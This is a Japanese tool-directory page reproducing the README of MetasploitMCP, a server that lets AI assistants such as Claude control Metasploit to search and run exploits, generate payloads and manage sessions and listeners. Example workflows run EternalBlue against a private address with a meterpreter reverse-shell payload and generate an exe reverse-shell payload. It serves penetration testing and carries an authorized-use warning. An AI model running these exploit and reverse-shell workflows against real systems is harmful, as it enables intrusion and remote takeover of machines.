Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
MetasploitMCP — Metasploit用MCPサーバー | Kitploit
ツール/GitHubGitHub/gh05tcrew/metasploitmcp
ペネトレーションテストフレームワークエクスプロイトフレームワークペイロード生成脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツールシェルコード生成
707200747ヶ月前Kitploit レビュー済み
GitHub
gh05tcrew/metasploitmcp

MetasploitMCP

Metasploit用MCPサーバー

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Metasploit MCP サーバー

Metasploit フレームワーク統合のための Model Context Protocol (MCP) サーバー。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

説明

この MCP サーバーは、Claude のような大規模言語モデルと Metasploit フレームワークのペネトレーションテストプラットフォームとの間のブリッジを提供します。AI アシスタントが標準化されたツールを通じて Metasploit の機能に動的にアクセスし制御できるようにし、複雑なセキュリティテストワークフローへの自然言語インターフェースを実現します。

機能

モジュール情報

  • list_exploits: 利用可能な Metasploit エクスプロイトモジュールを検索および一覧表示します
  • list_payloads: 利用可能な Metasploit ペイロードモジュールを、オプションのプラットフォームおよびアーキテクチャフィルタリングとともに検索および一覧表示します

エクスプロイトワークフロー

  • run_exploit: ターゲットに対してエクスプロイトを構成して実行します。最初にチェックを実行するオプションもあります
  • run_auxiliary_module: カスタムオプションを指定して Metasploit の補助モジュールを実行します
  • run_post_module: 既存のセッションに対してポストエクスプロイトモジュールを実行します

ペイロード生成

  • generate_payload: Metasploit RPC を使用してペイロードファイルを生成します(ファイルはローカルに保存されます)

セッション管理

  • list_active_sessions: 詳細情報を含む現在の Metasploit セッションを表示します
  • send_session_command: アクティブなシェルまたは Meterpreter セッションでコマンドを実行します
  • terminate_session: アクティブなセッションを強制終了します

ハンドラ管理

  • list_listeners: すべてのアクティブなハンドラとバックグラウンドジョブを表示します
  • start_listener: 接続を受信するための新しい multi/handler を作成します
  • stop_job: 実行中のジョブまたはハンドラを終了します

前提条件

  • Metasploit フレームワークがインストールされ、msfrpcd が実行中であること
  • Python 3.10 以上
  • 必要な Python パッケージ(requirements.txt を参照)

インストール

  1. このリポジトリをクローンします
  2. 依存関係をインストールします:
    pip install -r requirements.txt
    
  3. 環境変数を設定します(オプション):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # オプション:生成されたペイロードの保存先
    

使い方

Metasploit RPC サービスを起動します:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

トランスポートオプション

サーバーは2つのトランスポート方式をサポートしています:

  • HTTP/SSE (Server-Sent Events):ほとんどの MCP クライアントとの相互運用性のためのデフォルトモード
  • STDIO (標準入出力):Claude Desktop および同様の直接パイプ接続で使用されます

--transport フラグを使用してトランスポートモードを明示的に選択できます:

# HTTP/SSE トランスポートで実行(デフォルト)
python MetasploitMCP.py --transport http

# STDIO トランスポートで実行
python MetasploitMCP.py --transport stdio

HTTP モードの追加オプション:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop 統合

Claude Desktop 統合の場合は、claude_desktop_config.json を設定します:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

その他の MCP クライアント

HTTP/SSE を使用するその他の MCP クライアントの場合:

  1. サーバーを HTTP モードで起動します:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. MCP クライアントを次のように設定します:

    • SSE エンドポイント:http://your-server-ip:8085/sse

セキュリティに関する注意事項

⚠️ 重要なセキュリティ警告:

このツールは、強力なエクスプロイト機能を含む Metasploit フレームワークの機能への直接的なアクセスを提供します。責任を持って使用し、セキュリティテストを実行する明示的な許可がある環境でのみ使用してください。

  • 実行前にすべてのコマンドを常に検証および確認してください
  • 隔離されたテスト環境でのみ、または適切な許可を得て実行してください
  • ポストエクスプロイトコマンドは、システムに重大な変更をもたらす可能性があることに注意してください

ワークフロー例

基本的なエクスプロイト

  1. 利用可能なエクスプロイトを一覧表示:list_exploits("ms17_010")
  2. エクスプロイトを選択して実行:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. セッションを一覧表示:list_active_sessions()
  4. コマンドを実行:send_session_command(1, "whoami")

ポストエクスプロイト

  1. ポストモジュールを実行:run_post_module("windows/gather/enum_logged_on_users", 1)
  2. カスタムコマンドを送信:send_session_command(1, "sysinfo")
  3. 終了時にセッションを終了:terminate_session(1)

ハンドラ管理

  1. リスナーを起動:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. アクティブなハンドラを一覧表示:list_listeners()
  3. ペイロードを生成:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. ハンドラを停止:stop_job(1)

テスト

このプロジェクトには、信頼性と保守性を確保するための包括的なユニットテストと統合テストが含まれています。

テストの前提条件

テストの依存関係をインストールします:

pip install -r requirements-test.txt

または便利なインストーラを使用します:

python run_tests.py --install-deps
# または
make install-deps

テストの実行

簡単なコマンド

# すべてのテストを実行
python run_tests.py --all
# または
make test

# カバレッジレポート付きで実行
python run_tests.py --all --coverage
# または
make coverage

# HTML カバレッジレポート付きで実行
python run_tests.py --all --coverage --html
# または
make coverage-html

特定のテストスイート

# ユニットテストのみ
python run_tests.py --unit
# または
make test-unit

# 統合テストのみ
python run_tests.py --integration
# または
make test-integration

# オプション解析テスト
python run_tests.py --options
# または
make test-options

# ヘルパー関数テスト
python run_tests.py --helpers
# または
make test-helpers

# MCP ツールテスト
python run_tests.py --tools
# または
make test-tools

テストオプション

# 遅いテストを含める
python run_tests.py --all --slow

# ネットワークテストを含める(実際のネットワークが必要)
python run_tests.py --all --network

# 詳細出力
python run_tests.py --all --verbose

# クイックテスト(カバレッジなし、最初の失敗で停止)
make quick-test

# デバッグモード(詳細な失敗情報)
make test-debug

テスト構造

  • tests/test_options_parsing.py:graceful なオプション解析機能のユニットテスト
  • tests/test_helpers.py:内部ヘルパー関数と MSF クライアント管理のユニットテスト
  • tests/test_tools_integration.py:モック化された Metasploit バックエンドを使用したすべての MCP ツールの統合テスト
  • conftest.py:共有テストフィクスチャと設定
  • pytest.ini:カバレッジ設定を含む Pytest 設定

テスト機能

  • 包括的なモッキング:すべての Metasploit 依存関係がモック化されているため、実際の MSF インストールがなくてもテストが実行可能
  • 非同期サポート:pytest-asyncio を使用した完全な async/await テストサポート
  • カバレッジレポート:HTML レポートを含む詳細なカバレッジ分析
  • パラメータ化テスト:複数の入力シナリオの効率的なテスト
  • フィクスチャ管理:一般的なセットアップシナリオのための再利用可能なテストフィクスチャ

カバレッジレポート

カバレッジ付きでテストを実行した後、レポートは次の場所で利用可能です:

  • ターミナル:テスト実行後にカバレッジサマリーが表示されます
  • HTML:htmlcov/index.html(--html オプション使用時)

CI/CD 統合

継続的インテグレーションの場合:

# CI 対応のテストコマンド
make ci-test
# または
python run_tests.py --all --coverage --verbose

設定オプション

ペイロード保存ディレクトリ

デフォルトでは、generate_payload で生成されたペイロードはホームフォルダの payloads ディレクトリ(~/payloads または C:\Users\YourUsername\payloads)に保存されます。PAYLOAD_SAVE_DIR 環境変数を設定することで、保存場所をカスタマイズできます。

環境変数の設定:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (コマンドプロンプト):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • Claude Desktop 設定内:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // デフォルトを上書きする場合のみ追加
    }
    

注意: カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションが作成する権限を持っていることを確認してください。パスが無効な場合、ペイロード生成が失敗する可能性があります。

ライセンス

Apache 2.0

ツールをダウンロード